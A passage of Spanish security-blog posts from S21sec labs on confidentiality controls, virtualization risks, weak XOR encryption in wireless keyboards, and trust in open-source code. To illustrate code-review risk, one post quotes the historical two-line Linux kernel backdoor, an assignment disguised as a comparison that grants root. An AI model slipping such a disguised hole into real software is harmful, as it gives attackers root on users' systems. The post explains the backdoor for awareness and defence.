6. Externalizar el servicio de destrucción de documentos en soporte papel: En este caso es aconsejable que se establezcan cláusulas orientadas a garantizar la confidencialidad durante la recogida y transporte de los documentos, establecer contractualmente el tamaño del residuo una vez destruidos los documentos y, como e todo contrato de externalización de servicios, tener potestad auditora sobre el prestador.
7. Incluir cláusulas de confidencialidad con la empresa de limpieza: El personal de limpieza accede a aquellas áreas o zonas restringidas al resto del personal de la empresa, por ejemplo, el despacho del Director General en cuyo escritorio está el Plan Estratégico de negocio o el acuerdo de fusión con la competencia.....
8. Revisión continua de la aplicación de los controles: El seguimiento continuo es lo que nos dará garantías que las iniciativas anteriores no se afrontan de forma puntual, ayudando así a crear la concienciación necesaria en todo el staff.

Joan Ayerbe
Manager de Consultoría, CISM.

¿Tomamos en serio la virtualización? (II)

Siguiendo con el tema que comentamos hace unos días, donde hablabamos de los riesgos inherentes a los entornos virtuales que muy poca gente toma a consideración, existen diversos movimientos en el mercado de la seguridad que nos demuestran que no todo el mundo se ha dormido en los laureles.

Sin ir más lejos, Cisco hace casi un año invirtió en VMware varias decenas de millones, además de que su presidente, John Chambers (que por cierto, es un presentador excelente), fue uno de los conferenciantes en la keynote de VMworld 2007. Todos los rumores apuntan a que dentro de poco veremos un switch Cisco virtual corriendo en ESX; está claro que Cisco se ha dado cuenta de la buena oportunidad que tiene.

Buscando en Internet sobre proveedores de productos que puedan ayudarnos a protegernos en entornos virtuales, pude comprobar que existen ya varios productos que intentar cubrir el gap entre entornos reales y físicos: VirtualShield de Blueline, ReflexVSA de Reflex, ...

Pero no sólo hay empresas que se preocupan por el tema, la propia VMware, el verano pasado adquirió la empresa Determina, que tenia varios productos como Memory Firewall, o LiveShield orientados a protección entre máquinas virtuales.

Así que en breve nos tocará modificar nuestras políticas de seguridad, procedimientos, formación y como no, nuestros presupuestos: ya no contentos sólo con todos nuestros dispositivos de seguridad, tendremos que fijarnos en dispositivos virtuales, pero eso sí, al menos no ocupan sitio en nuestros racks.

David Barroso

S21sec labs

¿Tomamos en serio la virtualización?

Ultimamente está de moda el tema de la virtualización, que permite una reducción de costes importante (menos hardware, menos espacio en el CPD, menos mantenimiento, etc), además de haber cambiado sustancialmente el uso que teníamos de diversos Sistemas Operativos (ahora es común tener varios sistemas operativos con diferentes versiones para test de aplicaciones, analizar malware, configurar un escenario de pruebas, etc.)

Casi siempre que se habla de virtualización, se habla de todas sus virtudes, pero muy pocas veces se piensa en las implicaciones que puede tener pasar de tener un sistema operativo por máquina, a tener pocas máquinas y muchos sistemas operativos.

Pensemos en todo nuestro hardware que tenemos en nuestra red interna: cortafuegos internos, NAC, IDS/IPS, etc. Tenemos todos estos elementos funcionando y protegiendo nuestra red. Pero, ¿y qué ocurre con la comunicación entre máquinas virtuales dentro de un mismo servidor? ¿Están cumpliendo mi política de seguridad?¿Controlo las máquinas virtuales que están corriendo?¿Qué ocurre si una de esas máquinas se infecta con un gusano atacando el servicio RPC, tengo algo que pueda bloquear ese acceso y no infectar al resto? ¿Qué ocurre si tengo una máquina donde tengo diversas máquinas virtuales para mis proveedores?

La verdad que en este escenario tenemos muy difícil el poder analizar con un IDS/IPS el tráfico entre máquinas virtuales, filtrar o controlar el acceso físico a la red, por lo que hasta que los fabricantes vayan evolucionando sus productos para contemplar esta situación (cortafuegos virtuales, NAC virtuales, etc.), tendremos que buscar medidas alternativas. ¿Cuáles conocéis?

David Barroso

S21sec labs

Seguridad en teclados inalámbricos a 27 Mhz

Personalmente no soy muy aficionado a los teclados inalámbricos, no es que me guste tener la mesa llena de cables pero en el fondo tampoco me molestan tanto y eso de que en el momento más inoportuno se agoten la pilas y deje de funcionar, tengas que tener unas pilas cargadas para cambiarlas ... en definitiva que me parece menos incordio tener un cablecito por encima de la mesa.

Luego está la eterna pregunta, serán realmente seguros estos teclados. En las especificaciones técnicas de la inmensa mayoría dice que el tráfico está cifrado pero ¿como de seguro es este cifrado? Al fin y al cabo estamos lanzando al aire (cierto es que hasta distancias no muy lejanas, quizá puedan llegar hasta unos 5 metros dependiendo del modelo y la carga de las pilas) contraseñas de cuentas bancarias, cuentas de email y todo tipo de información privada y de carácter personal o laboral.

Esta misma duda les asalto a investigadores de la empresa suiza Dreamlab Technologies. En el informe se analiza el nivel de seguridad de algunos de los modelos más populares de teclados inalámbricos a 27 Mhz. Este estudio responde a nuestras inquietudes o más bien, podemos decir que nos deja aún más inquietos. El cifrado utilizado no pasa de ser una simple operación lógica XOR contra una clave de un solo byte que se genera aleatoriamente en el proceso de asociación entre el teclado y el receptor. Esto quiere decir que si estamos escuchando el tráfico y vemos los paquetes en el proceso de asociación, inmediatamente tenemos la clave de cifrado y somos capaces de ver lo que se está escribiendo en ese teclado. No obstante, si no tenemos la suerte de ver el intercambio de la clave en el proceso de asociación no pasa nada, sólo tenemos 256 claves diferentes para probar. Eso quiere decir que con cualquier ordenador por lento que sea (o con otro dispositivos como una PDA, smart-phone, etc) seríamos capaces de obtener la clave por fuerza bruta en poco tiempo. Para muestra, la presentación de los autores del estudio en la que muestran como capturan lo que se está escribiendo en varios teclados.

En definitiva, yo me quedo con mi teclado con cable de toda la vida.

Guzmán Santafé
S21sec labs

Cuestión de confianza

Siempre se escucha que Linux es más seguro que Windows, que no hay virus, que al ser libre hay mucha gente que revisa el código, que el diseño de los usuarios y privilegios dificulta que se extiendan, y otros comentarios por el estilo. Lo cierto es que es hay pocos virus, muchos son pruebas de concepto (incluso se desinstalan si se le pide educadamente) y ninguno ha conseguido propagarse eficientemente, con lo que ese riesgo es prácticamente inexistente.

Una de las posibles fuentes de infección masiva, viene del hecho de que el código fuente esté accesible. Una puerta trasera introducida en el código, en caso de pasar desapercibida, podría llegar a miles de usuarios a través de los repositorios de las distintas distribuciones. Estos usuarios confían en el software compilado y firmado por una de estas fuentes oficiales. Normalmente, hay unos pocos desarrolladores que pueden modificar el código o aplicar parches que proponen terceras personas, siempre después de revisarlos, por lo que no es fácil que esto suceda. Por ejemplo, hace unos años hubo un intento de instalar una puerta trasera en el propio kernel de Linux. Eran tan solo 2 lineas:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Es fácil ver que en (current->uid = 0) no se está comparando current->uid con 0, sino que se se está asignando. Después de este cambio, llamando a la función sys_wait4() con los flags __WCLONE y __WALL, se obtenían permisos de root. En realidad, el código se modificó en una copia del repositorio que contiene el código del kernel y no llegó a publicarse al detectarse a tiempo.

El riesgo de que se introduzca una puerta trasera es bajo, pero es posible, al igual que los bugs pasan desapercibidos y acaban en el usuario. Obviamente, es imposible revisar el código de todo el software que utilizamos (a veces incluso no tenemos esa posibilidad) y tenemos que confiar más o menos en quien desarrolla y distribuye el software. Bueno, siempre nos podemos fiar del código escrito por nosotros mismos, o quizás no.

Patxi Astiz
S21sec labs

Informe de Criminología Virtual

Hace poco tiempo la compañía McAfee publicó un estudio denominado 'Informe de Criminología Virtual' (Virtual Criminology Report) donde presenta a g